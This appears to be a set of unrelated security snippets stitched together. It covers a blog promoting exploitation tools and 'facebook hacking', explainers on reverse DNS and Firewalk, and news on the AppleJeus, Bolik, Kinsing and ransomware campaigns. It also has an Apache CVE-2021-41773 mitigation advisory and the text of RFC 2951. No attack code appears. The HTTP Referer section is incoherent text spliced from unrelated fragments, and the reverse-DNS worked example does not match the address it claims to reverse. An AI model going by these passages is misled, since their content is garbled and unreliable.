Similar tools like routersploit are also used in wifi hacking, routers Exploitation, CCTV hacking, you will be told about it quickly here, websploit and find sploit Exploitation Tools have practically told you.
I hope now you can understand about these two Exploitation Tools, here we have told you to use both Exploitation Tools practically.
In this way, you get more Exploitation Tools about which you will be told soon. We want to tell you one thing clear here. It is not possible to tell the use of any tool completely.
This is because there are some limitations here, due to which you cannot be told completely, in this case it all depends on your practice how much time you give to learn something.
Many types of attacks can be done using these tools, but all this cannot be told to you here, when you use it yourself, in such a way, you learn about them yourself.
If you have any question related to Exploitation Tools or any kind of question, then you can ask us in a comment, we will help you completely, all of this has been told to you for educational purpose.
If you like this article of ours, then share it in this way, if you want to learn python programming language or facebook hacking, you can also learn on this website. Subscribe our blog for new post updates.
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is a python based open source security tool aimed at helping
penetration testers conduct highly advanced and time consuming attacks
in a more methodical and automated way. Fast-Track is now included in
Backtrack version 3 onwards under the Backtrack --> Penetration
category. In this talk given at Shmoocon 2009, the author of Fast-Track Dave Kennedy
runs us through a primer on the tool and demonstrates 7 different
scenarios in which he breaks into systems using the Fast-Track tool.
These scenarios include automated SQL injection, MSSQL brute forcing,
Query string pwnage, Exploit rewrite, Destroying the Client and
Reverse DNS lookup
is generally used when we want to resolve an IP address to a hostname.
There are numerous applications such as in spam filters, networking
looking and monitoring tools, where this finds its use.
this video, we will use the Domain Information Groper (DIG) tool to do
a reverse DNS on various addresses to find the associalted hostnames.
The technique emplyed in this to simply write the IP address in dotted
notation but in reverse order and then append ".in-addr.arpa." to it
and make a DNS PTR (Pointer Record)
query. As an examlple, if the address is 18.104.22.168, in order to do a
reverse DNS lookup, we need to do a DNS PTR lookup for the host
"22.214.171.124.in-addr.arpa." .We use 2 examples in this video to make
sure the procedure is well understood.
A demonstration of a vulnerable web application being exploited
to hack into a particular user's hotmail account. This demo makes use
of Acunetix WVS which automates the process without requiring any
scripting or programming.
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explain the http header referrer attack
Recommendsecurity - Nessus vulnerability scanner reports my classic ASP site still exposed to XSS attack. t. I think the fixes I made should haveasp-classic header http-headers xss | this question asked Mar 31 16 at 14:25 chris 143 1 1 18 Youre throwing a 500 error. That already mitigates it. The Referer header allows servers to identify where people are visiting them from and may use that data for analytics, logging, or optimized caching, for example. Note that referer is actually a misspelling of the word "referrer". See HTTP referer on Wikipedia for more details. Tokens still feel like the gold standard, and with those still in use, Im not sure which attack vectorInvalidAuthenticityToken raised when setting Referrer-Policy: no-referrer header 30658. Member.There is no difference in HTTP. The only values are strings. You cannot set a "true null" for a header. And the rest are the HTTP headers. After that request, your browser receives an HTTP response that may look like thisYou may have noticed the word "referrer" is misspelled as "referer". To make caching of dynamic documents possible, which can give you a considerable performance gain, setting a number of HTTP headers is of a vital importance. This document explains which headers you need to pay attention to, and how to work with them. You can customize specific headers. For example, assume that want your HTTP response headers to look like the followingSimilarly, you can enable the Referrer Policy header using Java configuration as shown below HTTP header fields provide required information about the request or response, or about the object sent in the message body.Optionally a message-body.
The following sections explain each of the entities used in an HTTP response message. Message Status-Line. HTTP header fields are components of the header section of request and response messages in the Hypertext Transfer Protocol ( HTTP). HTTP downgrade attacks Certificate attacks SSL/TLS attacks. Downgrade HTTPS to HTTP using Ettercap filters. Referer header. HTTP Authentication.If you need to submit custom HTTP headers, you can specify any number of them via headers option. A common case is to emulate an AJAX request He discusses the attack, as well as looking at it from both the attacker perspective and the defender perspective.TLDR Defense: Use the nosniff HTTP header ("Requirement 1" explained in Defense section below).
Really good intel on the reflection attack.In some narrow cases you may be able to limit forgeries by checking the HTTP Referer header. I know you said narrow cases, but you should really point out that the http referrer header can never be trusted.
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A fresh malware offensive aimed at cryptocurrency users use crypto trading apps, found researchers at Volexity. Under the bogus name BloxHolder, the North Korean APT has been disseminating bogus cryptocurrency apps laced with AppleJeus malware, to get initial access to networks and cryptocurrency wallets. The malware is spread using malicious Microsoft Office documents.
Volexity’s analysis of this campaign uncovered a live cryptocurrency-themed website with contents stolen from another legitimate website. Further technical analysis of the deployed AppleJeus malware uncovered a new variation of DLL side-loading that Volexity has not seen previously documented as in the wild,” said the research report.
Since at least 2018, the APT organisation has used the AppleJeus virus to steal cryptocurrency from its victims. The new Lazarus-inspired campaign began in June 2022 and continued at least through October 2022, says the Volexity report.
Lazarus Group, AppleJeus, and previous campaigns
In April 2022, the Cybersecurity and Infrastructure Security Agency (CISA), the Federal Bureau of Investigation (FBI), and the U.S. Treasury Department had issued a joint alert on cryptocurrency thefts and tactics used the Lazarus Group, a.k.a. APT38, BlueNoroff, Stardust Chollima etc..
“The Lazarus Group used AppleJeus trojanized cryptocurrency applications targeting individuals and companies—including cryptocurrency exchanges and financial services companies—through the dissemination of cryptocurrency trading applications that were modified to include malware that facilitates theft of cryptocurrency,” said the joint advisory.
“As of April 2022, North Korea’s Lazarus Group actors have targeted various firms, entities, and exchanges in the blockchain and cryptocurrency industry using spearphishing campaigns and malware to steal cryptocurrency. These actors will likely continue exploiting vulnerabilities of cryptocurrency technology firms, gaming companies, and exchanges to generate and launder funds to support the North Korean regime.
Latest malware campaign
North Korea has used AppleJeus malware posing as cryptocurrency trading platforms since at least 2018. In most instances, the malicious application—seen on both Windows and Mac operating systems—appears to be from a legitimate cryptocurrency trading company, thus fooling individuals into downloading it as a third-party application from a website that seems legitimate,” said a CISA analysis of the malware.
Volexity began observing the latest campaign in June 2022 and discovered that the APT group was using a domain name bloxholder[.]com to create websites to foster automated cryptocurrency trading. The domain is a clone of the HaasOnline automated bitcoin trading platform. The threat actor uses this fake website to download a Windows MSI installer disguised as the BloxHolder software, which was used to install AppleJeus malware with the QTBitcoinTrader app.
Moreover, the BloxHolder application is just another instance of AppleJeus malware but is being used with an open-source bitcoin trading tool QTBitcoinTrader. According to the CISA report, the APT group has also used the same application in its previous attacks. In October 2022, the group used AppleJeus malware via a Microsoft Office document named ‘OKX Binance & Huobi VIP fee comparision.xls. These two files were used to target victims using Windows computers, where the document contained a macro split into two parts — used to decode a base64 blob.
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On Monday, October 4, 2021, Apache published an advisory on CVE-2021-41773, an unauthenticated remote file disclosure vulnerability in HTTP Server version 2.4.49 and 2.4.50. The vulnerability arises from the mishandling of URL-encoded path traversal characters in the HTTP GET request. Public proof-of-concept exploit code is widely available, and Apache and others have noted that this vulnerability is being exploited in the wild. Note that a non-default configuration is required for exploitability.
Roughly 65,000 potentially vulnerable versions of Apache httpd exposed to the public internet. The exposure estimate intentionally does not count multiple Apache servers on the same IP as different instances (this would substantially increase the number of exposed instances identified as vulnerable)
For the organizations who are using the vulnerable version of apache should update to latest version or Apache 2.4.51 as soon as practical.
Most of the time upgrading immediately to the latest version of apache is not practically feasible task for organizations as they have to look for all the dependencies. For them they can make changes into apache configurations to protect against the exploitation.
The server’s configuration file should be updated to include the filesystem directory directive with require all denied:
< Directory /> Require all denied < /Directory>
Another best strategical alternative to defend against these attacks at the same time understand about the attacker’s patterns and behavior is the deception technology.
An intelligent Deception can help you achieve the zero false positives.
Whenever any new Zero Day made public or CVE is published the active threat actors are the first in the race of cyberspace to make a move. They actively look for all the vulnerable Apps, IPs for the latest vulnerability.
Easy step to detect this attack and collect the personalized threat feeds is spin Apache Decoy leveraging Dejavu Deception and allow this internet facing to collect the IOCs constantly.
Once the attacker’s IP are collected on deception, we block immediately on production environment which can be done leveraging Shuffle SOAR.
“This what we achieve by integrating open source point solutions Dejavu (Open Source Deception) used to create Apache Decoy further Deception Logs are parsed to -> Wazuh (Open Source SIEM) use webhook to bring logs to -> Shuffle (Open Source SOAR) share the personalized threat intelligence to -> MISP and further Block the IOC in Network Firewall. “
We need to follow the same as scenario one just keeps the multiple vulnerable apache decoys available to private network to detect and respond to internal attacks.
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Firewalk Attack: Beyond The Boundaries of Security.
Firewalk which was developed by two masterminds known as developed by Mike Schiffman and Dave Goldsmith furthers the techniques used both by static port traceroutes and hping.
It can be successfully implemented to scan a host downstream from a security gateway to assess what rules relate to the target system, without any packets having to reach it.
Firewalk utilizes the TTL functions to carry out the whole attack. This was different to analyze by any firewall. And so it was called as beyond the boundaries of security.
Some of the fact that should be true for any kind of firewall responses are:
If the packet is passed by the Firewall, a TTL expired should be received.
If the packet is blocked by the Firewall, this could be caused be either of the following:
An ICMP administratively prohibited response is received or The packet is dropped without comment. Again, uncertainty is introduced through packets lost in transit. Some security gateways will detect the packet is due to expire and send the expired message whether the policy would have allowed the packet or not.
Firewalls and intruders are always the big rivals as firewalls updates with technologies implemented by intruders. Which sometimes makes it harder for firewall vendors and sometimes for hackers.
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RFC 2951 - TELNET Authentication Using KEA and SKIPJACK
Network Working Group R. Housley Request for Comments: 2951 T. Horting Category: Informational P. Yee SPYRUS September 2000 TELNET Authentication Using KEA and SKIPJACK Status of this Memo This memo provides information for the Internet community. It does not specify an Internet standard of any kind. Distribution of this memo is unlimited. Copyright Notice Copyright (C) The Internet Society (2000). All Rights Reserved. Abstract This document defines a method to authenticate TELNET using the Key Exchange Algorithm (KEA), and encryption of the TELNET stream using SKIPJACK. Two encryption modes are specified; one provides data integrity and the other does not. The method relies on the TELNET Authentication Option. 1. Command Names and Codes AUTHENTICATION 37 Authentication Commands: IS 0 SEND 1 REPLY 2 NAME 3 Authentication Types: KEA_SJ 12 KEA_SJ_INTEG 13 Modifiers: AUTH_WHO_MASK 1 AUTH_CLIENT_TO_SERVER 0 AUTH_SERVER_TO CLIENT 1 AUTH_HOW_MASK 2 AUTH_HOW_ONE_WAY 0 AUTH_HOW_MUTUAL 2 ENCRYPT_MASK 20 ENCRYPT_OFF 0 ENCRYPT_USING_TELOPT 4 ENCRYPT_AFTER_EXCHANGE 16 ENCRYPT_RESERVED 20 INI_CRED_FWD_MASK 8 INI_CRED_FWD_OFF 0 INI_CRED_FWD_ON 8 Sub-option Commands: KEA_CERTA_RA 1 KEA_CERTB_RB_IVB_NONCEB 2 KEA_IVA_RESPONSEB_NONCEA 3 KEA_RESPONSEA 4 2. TELNET Security Extensions TELNET, as a protocol, has no concept of security. Without negotiated options, it merely passes characters back and forth between the NVTs represented by the two TELNET processes. In its most common usage as a protocol for remote terminal access (TCP port 23), TELNET normally connects to a server that requires user-level authentication through a user name and password in the clear. The server does not authenticate itself to the user. The TELNET Authentication Option provides for: * User authentication -- replacing or augmenting the normal host password mechanism; * Server authentication -- normally done in conjunction with user authentication; * Session parameter negotiation -- in particular, encryption key and attributes; * Session protection -- primarily encryption of the data and embedded command stream, but the encryption algorithm may also provide data integrity. In order to support these security services, the two TELNET entities must first negotiate their willingness to support the TELNET Authentication Option. Upon agreeing to support this option, the parties are then able to perform sub-option negotiations to determine the authentication protocol to be used, and possibly the remote user name to be used for authorization checking. Encryption is negotiated along with the type of the authentication. Authentication and parameter negotiation occur within an unbounded series of exchanges. The server proposes a preference-ordered list of authentication types (mechanisms) that it supports. In addition to listing the mechanisms it supports, the server qualifies each mechanism with a modifier that specifies whether encryption of data is desired. The client selects one mechanism from the list and responds to the server indicating its choice and the first set of authentication data needed for the selected authentication type. The client may ignore a request to encrypt data and so indicate, but the server may also terminate the connection if the client refuses encryption. The server and the client then proceed through whatever number of iterations is required to arrive at the requested authentication. Encryption is started immediately after the Authentication Option is completed. 3. Use of Key Exchange Algorithm (KEA) This paper specifies the method in which KEA is used to achieve TELNET Authentication. KEA (in conjunction with SKIPJACK) provides authentication and confidentiality. Integrity may also be provided. TELNET entities may use KEA to provide mutual authentication and support for the setup of data encryption keys. A simple token format and set of exchanges delivers these services. NonceA and NonceB used in this exchange are 64-bit bit strings. The client generates NonceA, and the server generates NonceB. The nonce value is selected randomly. The nonce is sent in a big endian form. The encryption of the nonce will be done with the same mechanism that the session will use, detailed in the next section. Ra and Rb used in this exchange are 1024 bit strings and are defined by the KEA Algorithm . The IVa and IVb are 24 byte Initialization Vectors. They are composed of "THIS IS NOT LEAF" followed by 8 random bytes. CertA is the client's certificate. CertB is the server's certificate. Both certificates are X.509 certificates that contain KEA public keys . The client must validate the server's certificate before using the KEA public key it contains. Likewise, the server must validate the client's certificate before using the KEA public key it contains. On completing these exchanges, the parties have a common SKIPJACK key. Mutual authentication is provided by verification of the certificates used to establish the SKIPJACK encryption key and successful use of the derived SKIPJACK session key. To protect against active attacks, encryption will take place after successful authentication. There will be no way to turn off encryption and safely turn it back on; repeating the entire authentication is the only safe way to restart it. If the user does not want to use encryption, he may disable encryption after the session is established. 3.1. SKIPJACK Modes There are two distinct modes for encrypting TELNET streams; one provides integrity and the other does not. Because TELNET is normally operated in a character-by-character mode, the SKIPJACK with stream integrity mechanism requires the transmission of 4 bytes for every TELNET data byte. However, a simplified mode SKIPJACK without integrity mechanism will only require the transmission of one byte for every TELNET data byte. The cryptographic mode for SKIPJACK with stream integrity is Cipher Feedback on 32 bits of data (CFB-32) and the mode of SKIPJACK is Cipher Feedback on 8 bits of data (CFB-8). 3.1.1. SKIPJACK without stream integrity The first and least complicated mode uses SKIPJACK CFB-8. This mode provides no stream integrity. For SKIPJACK without stream integrity, the two-octet authentication type pair is KEA_SJ AUTH_CLIENT_TO_SERVER | AUTH_HOW_MUTUAL | ENCRYPT_AFTER_EXCHANGE | INI_CRED_FWD_OFF. This indicates that the SKIPJACK without integrity mechanism will be used for mutual authentication and TELNET stream encryption. Figure 1 illustrates the authentication mechanism of KEA followed by SKIPJACK without stream integrity. --------------------------------------------------------------------- Client (Party A) Server (Party B) <-- IAC DO AUTHENTICATION IAC WILL AUTHENTICATION --> <-- IAC SB AUTHENTICATION SEND <list of authentication options> IAC SE IAC SB AUTHENTICATION NAME <user name> --> IAC SB AUTHENTICATION IS KEA_SJ AUTH_CLIENT_TO_SERVER | AUTH_HOW_MUTUAL | ENCRYPT_AFTER_EXCHANGE | INI_CRED_FWD_OFF KEA_CERTA_RA CertA||Ra IAC SE --> <-- IAC SB AUTHENTICATION REPLY KEA_SJ AUTH_CLIENT_TO_SERVER | AUTH_HOW_MUTUAL | ENCRYPT_AFTER_EXCHANGE | INI_CRED_FWD_OFF IVA_RESPONSEB_NONCEA KEA_CERTB_RB_IVB_NONCEB CertB||Rb||IVb|| Encrypt( NonceB ) IAC SE IAC SB AUTHENTICATION IS KEA_SJ AUTH_CLIENT_TO_SERVER | AUTH_HOW_MUTUAL | ENCRYPT_AFTER_EXCHANGE | INI_CRED_FWD_OFF KEA_IVA_RESPONSEB_NONCEA IVa||Encrypt( (NonceB XOR 0x0C12)||NonceA ) IAC SE --> Client (Party A) Server (Party B) <client begins encryption> <-- IAC SB AUTHENTICATION REPLY KEA_SJ AUTH_CLIENT_TO_SERVER | AUTH_HOW_MUTUAL | ENCRYPT_AFTER_EXCHANGE | INI_CRED_FWD_OFF KEA_RESPONSEA Encrypt( NonceA XOR 0x0C12 ) IAC SE <server begins encryption> --------------------------------------------------------------------- Figure 1. 3.1.2. SKIPJACK with stream integrity SKIPJACK with stream integrity is more complicated. It uses the SHA-1 one-way hash function to provide integrity of the encryption stream as follows: Set H0 to be the SHA-1 hash of a zero-length string. Cn is the nth character in the TELNET stream. Hn = SHA-1( Hn-1||Cn ), where Hn is the hash value associated with the nth character in the stream. ICVn is set to the three most significant bytes of Hn. Transmit Encrypt( Cn||ICVn ). The ciphertext that is transmitted is the SKIPJACK CFB-32 encryption of ( Cn||ICVn ). The receiving end of the TELNET link reverses the process, first decrypting the ciphertext, separating Cn and ICVn, recalculating Hn, recalculating ICVn, and then comparing the received ICVn with the recalculated ICVn. Integrity is indicated if the comparison succeeds, and Cn can then be processed normally as part of the TELNET stream. Failure of the comparison indicates some loss of integrity, whether due to active manipulation or loss of cryptographic synchronization. In either case, the only recourse is to drop the TELNET connection and start over. For SKIPJACK with stream integrity, the two-octet authentication type pair is KEA_SJ_INTEG AUTH_CLIENT_TO_SERVER | AUTH_HOW_MUTUAL | ENCRYPT_AFTER_EXCHANGE | INI_CRED_FWD_OFF. This indicates that the KEA SKIPJACK with integrity mechanism will be used for mutual authentication and TELNET stream encryption. Figure 2 illustrates the authentication mechanism of KEA SKIPJACK with stream integrity. --------------------------------------------------------------------- Client (Party A) Server (Party B) <-- IAC DO AUTHENTICATION IAC WILL AUTHENTICATION --> <-- IAC SB AUTHENTICATION SEND <list of authentication options> IAC SE IAC SB AUTHENTICATION NAME <user name> --> IAC SB AUTHENTICATION IS KEA_SJ_INTEG AUTH_CLIENT_TO_SERVER | AUTH_HOW_MUTUAL | ENCRYPT_AFTER_EXCHANGE | INI_CRED_FWD_OFF KEA_CERTA_RA CertA||Ra IAC SE --> <-- IAC SB AUTHENTICATION REPLY KEA_SJ_INTEG AUTH_CLIENT_TO_SERVER | AUTH_HOW_MUTUAL | ENCRYPT_AFTER_EXCHANGE | INI_CRED_FWD_OFF IVA_RESPONSEB_NONCEA KEA_CERTB_RB_IVB_NONCEB CertB||Rb||IVb|| Encrypt( NonceB ) IAC SE IAC SB AUTHENTICATION IS KEA_SJ_INTEG AUTH_CLIENT_TO_SERVER | AUTH_HOW_MUTUAL | ENCRYPT_AFTER_EXCHANGE | INI_CRED_FWD_OFF KEA_IVA_RESPONSEB_NONCEA IVa||Encrypt( (NonceB XOR 0x0D12)||NonceA ) IAC SE --> Client (Party A) Server (Party B) <client begins encryption> <-- IAC SB AUTHENTICATION REPLY KEA_SJ_INTEG AUTH_CLIENT_TO_SERVER | AUTH_HOW_MUTUAL | ENCRYPT_AFTER_EXCHANGE | INI_CRED_FWD_OFF KEA_RESPONSEA Encrypt( NonceA XOR 0x0D12 ) IAC SE <server begins encryption> --------------------------------------------------------------------- Figure 2 4.0. Security Considerations This entire memo is about security mechanisms. For KEA to provide the authentication discussed, the implementation must protect the private key from disclosure. Likewise, the SKIPJACK keys must be protected from disclosure. Implementations must randomly generate KEA private keys, initialization vectors (IVs), and nonces. The use of inadequate pseudo-random number generators (PRNGs) to generate cryptographic keys can result in little or no security. An attacker may find it much easier to reproduce the PRNG environment that produced the keys, searching the resulting small set of possibilities, rather than brute force searching the whole key space. The generation of quality random numbers is difficult. RFC 1750 offers important guidance in this area, and Appendix 3 of FIPS Pub 186 provides one quality PRNG technique. By linking the enabling of encryption as a side effect of successful authentication, protection is provided against an active attacker. If encryption were enabled as a separate negotiation, it would provide a window of vulnerability from when the authentication completes, up to and including the negotiation to turn on encryption. The only safe way to restart encryption, if it is turned off, is to repeat the entire authentication process. 5. IANA Considerations The authentication types KEA_SJ and KEA_SJ_INTEG and their associated suboption values are registered with IANA. Any suboption values used to extend the protocol as described in this document must be registered with IANA before use. IANA is instructed not to issue new suboption values without submission of documentation of their use. 6.0. Acknowledgements We would like to thank William Nace for support during implementation of this specification. 7.0. References Postel, J. and J. Reynolds, "TELNET Protocol Specification", ASTD 8, RFC 854, May 1983. Ts'o, T. and J. Altman, "Telnet Authentication Option", RFC 2941, September 2000. Secure Hash Standard. FIPS Pub 180-1. April 17, 1995. "SKIPJACK and KEA Algorithm Specification", Version 2.0, May 29, 1998. Available from http://csrc.nist.gov/encryption/skipjack- kea.htm Postel, J. and J. Reynolds, "TELNET Option Specifications", STD 8, RFC 855, May 1983. Housley, R., Ford, W., Polk, W. and D. Solo, "Internet X.509 Public Key Infrastructure: X.509 Certificate and CRL Profile", RFC 2459, January 1999. Housley, R. and W. Polk, "Internet X.509 Public Key Infrastructure - Representation of Key Exchange Algorithm (KEA) Keys in Internet X.509 Public Key Infrastructure Certificates", RFC 2528, March 1999. Eastlake, D., Crocker, S. and J. Schiller, "Randomness Recommendations for Security", RFC 1750, December 1994. [9) National Institute of Standards and Technology. FIPS Pub 186: Digital Signature Standard. 19 May 1994. 8.0. Authors' Addresses Russell Housley SPYRUS 381 Elden Street, Suite 1120 Herndon, VA 20170 USA EMail: [email protected] Todd Horting SPYRUS 381 Elden Street, Suite 1120 Herndon, VA 20170 USA EMail: [email protected] Peter Yee SPYRUS 5303 Betsy Ross Drive Santa Clara, CA 95054 USA EMail: [email protected] 9. Full Copyright Statement Copyright (C) The Internet Society (2000). All Rights Reserved. This document and translations of it may be copied and furnished to others, and derivative works that comment on or otherwise explain it or assist in its implementation may be prepared, copied, published and distributed, in whole or in part, without restriction of any kind, provided that the above copyright notice and this paragraph are included on all such copies and derivative works. However, this document itself may not be modified in any way, such as by removing the copyright notice or references to the Internet Society or other Internet organizations, except as needed for the purpose of developing Internet standards in which case the procedures for copyrights defined in the Internet Standards process must be followed, or as required to translate it into languages other than English. The limited permissions granted above are perpetual and will not be revoked by the Internet Society or its successors or assigns. This document and the information contained herein is provided on an "AS IS" basis and THE INTERNET SOCIETY AND THE INTERNET ENGINEERING TASK FORCE DISCLAIMS ALL WARRANTIES, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTY THAT THE USE OF THE INFORMATION HEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. Acknowledgement Funding for the RFC Editor function is currently provided by the Internet Society.
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What you’ll learn
- Learn how to triage Windows systems for evidence of compromise quickly
- Learn about key artifacts used for targeted persistence analysis
- Learn Splunk logic for fast triage
- Learn by doing – practical exercises – basic python with some powershell
- Learn by doing – practical exercises – convert EVTX files to CSV with open-source tools
Research conducted on malicious campaigns found the successful establishment of a persistence mechanism(s) necessary for the attacker to achieve their goals. Installing persistence is a choke point in the attack method and provides an opportunity for detection through the analysis of affected system artifacts.
The identification of a compromised system is a high priority. Discovering the compromise early during an investigation improves scoping, containment, mitigation, and remediation efforts. If persistence is not detected, it may reduce the perceived risk of the system. Either finding is valuable for making resource assignment decisions.
This class teaches you how to utilize readily available artifacts to uncover persistence mechanisms quickly. Each module breaks down the artifact from a DFIR point of view, identifying key elements and analysis strategy guidelines along the way. Just about any forensic platform or security appliance may be used once you understand how to approach the artifact. Splunk is used to provide SIEM logic examples. Open-source tools, with a little python scripting, is used for the practical exercises. The completed python scripts are provided as well.
The main artifact categories covers evidence that appears in investigations repeatedly:
- Windows event logs for services
- Windows event logs for scheduled tasks
- Windows registry autoruns and registry modification events.
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Dr Web researchers find new malware that can spread itself and avoid detection on Windows systems
Security researchers have discovered a new virus targeting Russian bank customers using many of the techniques employed by notorious malware such as Zeus and Carbeep.
Russian anti-virus firm Dr.Web says ‘Trojan.Bolik.1’ is a polymorphic file virus that infects 32-bit and 64-bit applications without any user intervention.
The tactics it employs to avoid detection and the amount of time it takes to remove from an infected system mean it can be particularly troublesome.
“Functions and architecture of Trojan.Bolik.1 are very sophisticated, which makes it really dangerous for Windows users,” said the researchers.
Once present on a system, the virus checks for executable files or on connected USB devices and embeds ‘Trojan.Bolik.1’ and the information it needs to run in an encrypted format. Once an infected program is executed, the virus decrypts and runs directly in-memory. A virtual file system stores the information it needs and it borrows web injections from Zeus to steal banking details.
“The main purpose of Trojan.Bolik.1 is to steal confidential information,” continued the researchers. “The Trojan can execute this function by several means. For example, it controls data transmitted by Microsoft Internet Explorer, Chrome, Opera, and Mozilla Firefox to steal information entered into input forms.
“Besides, the malware program can take screenshots and perform the keylogger functions. Trojan.Bolik.1 is also able to create its own proxy server and web server for file sharing with virus makers.
“All sent and received information is encrypted with a complicated algorithm and is then compressed.”
Zeus has been targeting bank customers for a number of years. The aforementioned web injects can trick users into entering details into portions of websites they think are genuine.
How much do you know about hackers and viruses? Take our quiz!
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News broke today of a Google study that indicated ransomware attacks have increased, and are likely to continue to do so, with cybercriminals realising how lucrative the business is. The research also found out that cyber-thieves have made at least $25m (£19m) from ransomware in the last two years. IT security experts commented below.
Andrew Clarke, EMEA Director at One Identity:
“It is no surprise to read that the Google and New York University research, which effectively created a honey-pot to measure real-world activity associated with ransomware, revealed a sophisticated set of payment techniques. Criminals that appear to have switched their focus to this method of extortion have access to easy-to-use tools through “ransomware-as-a-service” offerings – which means that they can mass target communities very quickly.
“Although the recent wave we read about, Wannacry and NotPetya did not generate much income – there are so many other variants emerging that it is still a worthwhile business for them to persue with an overall multi-million payout. Companies can mitigate the risk involved by ensuring that their systems are fully patched, regularly backed up and protected by network firewalls blocking malicious communication ports. They can ensure that their users receive regular updates to prepare them for the various techniques employed by cyber criminals. And they can manage their user population by having a solid provisioning/de-provisioning tool to ensure that only the right people have access to the right systems at the right time.”
Jim Walter, Senior Research Scientist at Cylance:
“This is not a ‘new’ revelation, but I think they do a really good job of evidence collection and analysis to support the findings. As Cylance researchers have stated before, with the far lower barrier of entry for the more sophisticated families (a.k.a Cerber) and the ultra-ease at which one can produce malware via any of the current RaaS (Ransomware as a Service) offerings, anyone can spin up a campaign with essentially no ramp-up time, no prior experience, and no coding knowledge.”
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[D] Deep Network Architectures
I’ve recently started looking at Deep Learning methods (specifically LSTM) for doing some time series analysis. While I understand the concepts involved in the network in isolation, one thing that confuses me is that how do we derive the architectures that work for a task.
I did some research into this and an answer that usually comes up is to dig into the literature and see what architect similar experiments used and start from there. My question is that is there a qualitative metric or a method that guides us for creating optimal architectures without using the layers as Lego bricks and connecting them hoping to get the best results.
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Researchers are warning that “human operated” ransomware campaigns are growing more sophisticated, adopting new infection tactics and lateral movement techniques that traditional defense teams aren’t equipped to handle.
Researchers said that “auto-spreading” ransomware – like WannaCry and NotPetya – are making headlines due to the crippling downtimes that these attacks cause. However, “human operated” ransomware – like REvil, Bitpaymer, and Ryuk – are adopting new techniques that are enabling them to operate unfettered in networks.
For instance, “human operated” ransomware attacks focus on compromising accounts with high privileges. They are exhibiting extensive knowledge of systems administration and common network security misconfigurations. Researchers said hey are also able to adapt once they’ve initially infected a system and establish a foothold on machines. That allows these next-gen ransomware attackers to continue unabated in infiltrating target environments, said researchers with Microsoft’s Threat Protection Intelligence Team.
“These attacks are known to take advantage of network configuration weaknesses and vulnerable services to deploy devastating ransomware payloads,” said researchers on Thursday. “And while ransomware is the very visible action taken in these attacks, human operators also deliver other malicious payloads, steal credentials, and access and exfiltrate data from compromised networks.”
Microsoft said one trend it has observed is a “smash-and-grab monetization” technique, where attackers infiltrate a system via brute force, and proceed with deploying the ransomware, credential theft, and other attacks – all in less than an hour, decreasing the chances of affected victims to intervene.
Researchers tracked one popular ransomware group leveraging this method, which they call Parinacota (which deploy the ransomware also known as Dharma) for 18 months. Over time, the group has grown to now impact three to four organizations weekly; as well as evolved its tactics and goals to “use compromised machines for various purposes, including cryptocurrency mining, sending spam emails, or proxying for other attacks.”
Parinacota employs the smash-and-grab method. They first brute force their way into vulnerable Remote Desktop Protocol (RDP) servers exposed to the internet and then rapidly scan for other vulnerable systems within the network. They then perform RDP brute force attacks against new targets within the network, allowing them to move laterally. Finally, they perform credential theft, deploy cryptomining malware, and deliver the final ransomware payload.
Parinacota operators also exhibit in-depth knowledge about their targets, often changing the ransom payment that they ask for (which can vary from 0.5 to 2 Bitcoin) based on the likelihood of what the victim would pay due to impact to their company or the perceived importance of the target.
“Other malware families like GandCrab, MegaCortext, LockerGoga, Hermes, and RobbinHood have also used this method in targeted ransomware attacks,” said researchers. “Parinacota, however, has also been observed to adapt to any path of least resistance they can utilize. For instance, they sometimes discover unpatched systems and use disclosed vulnerabilities to gain initial access or elevate privileges.”
Another characteristic of human-operated ransomware campaigns is that they often start with “commodity malware,” like banking trojans. These attack vectors are viewed as “unsophisticated” and tend to be triaged as unimportant and therefore not thoroughly investigated and remediated, researchers said – allowing the ransomware operators to evade defenders.
This technique has proved successful for the Ryuk ransomware, most recently seen in an attack this past weekend hitting Epiq Global, which caused the legal services company to take its systems offline globally, according to a report this week by legal news site LawSites. Media reports said that the attack started with the TrickBot malware infecting a computer on Epiq’s system in December. After TrickBot was installed, it reportedly opened a reverse shell to the Ryuk operators, allowing them to access the network devices and encrypting files on infected computers.
The DoppelPaymer ransomware (recently seen in attacks that have stolen data from a supplier to SpaceX and Tesla) also makes use of commodity malware as an initial infection vector, using the Dridex malware in early attack stages (via fake updaters, malicious documents in phishing email) and later delivering Doppelpaymer on machines in affected networks. The Dridex banking trojan, which has been around since 2011, comes equipped with obfuscation capabilities, helping it skirt anti-virus detection.
“Investigators have in fact found artifacts indicating that affected networks have been compromised in some manner by various attackers for several months before the ransomware is deployed, showing that these attacks (and others) are successful and unresolved in networks where diligence in security controls and monitoring is not applied,” said researchers.
Researchers said that preventing these types of ransomware attacks requires a shift in mindset. Defense teams need to focus on “comprehensive protection required to slow and stop attackers before they can succeed,” they said.
“Human-operated attacks will continue to take advantage of security weaknesses to deploy destructive attacks until defenders consistently and aggressively apply security best practices to their networks,” they said.
To keep up, defense teams need to better integrate IT pros into security teams, because attackers are preying on settings and configurations that many IT admins manage and control. Security teams need to also address the infrastructure weakness that initially let attackers in, because ransomware groups routinely hit the same targets multiple times. Also, security teams need to understand that seemingly rare, isolated or commodity malware alerts can indicate new dangerous attacks unfolding.
“If these alerts are immediately prioritized, security operations teams can better mitigate attacks and prevent the ransomware payload,” said researchers. “Commodity malware infections like Emotet, Dridex, and Trickbot should be remediated and treated as a potential full compromise of the system, including any credentials present on it.”
Interested in security for the Internet of Things and how 5G will change the threat landscape? Join our free Threatpost webinar, “5G, the Olympics and Next-Gen Security Challenges,” as our panel discusses what use cases to expect in 2020 (the Olympics will be a first test), why 5G security risks are different, the role of AI in defense and how enterprises can manage their risk. Register here.
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Malicious actors like Kinsing use both recently discovered and legacy vulnerabilities in Oracle WebLogic Server to proliferate cryptocurrency-mining malware.
Cybersecurity firm Trend Micro said it found the financially motivated group was using the vulnerability to drop Python scripts with functionality to disable operating system (OS) security features such as Security-Enhanced Linux (SELinux) and others.
The operators behind the Kinsing malware have historically sought out vulnerable servers to co-opt into a botnet, including Redis, SaltStack, Log4Shell, Spring4Shell, and the Atlassian Confluence vulnerability (CVE-2022-26134).
The Kinsing actors have also been involved in campaigns against container environments via misconfigured open Docker Daemon API ports to launch a crypto-miner and then spread the malware to other containers and hosts.
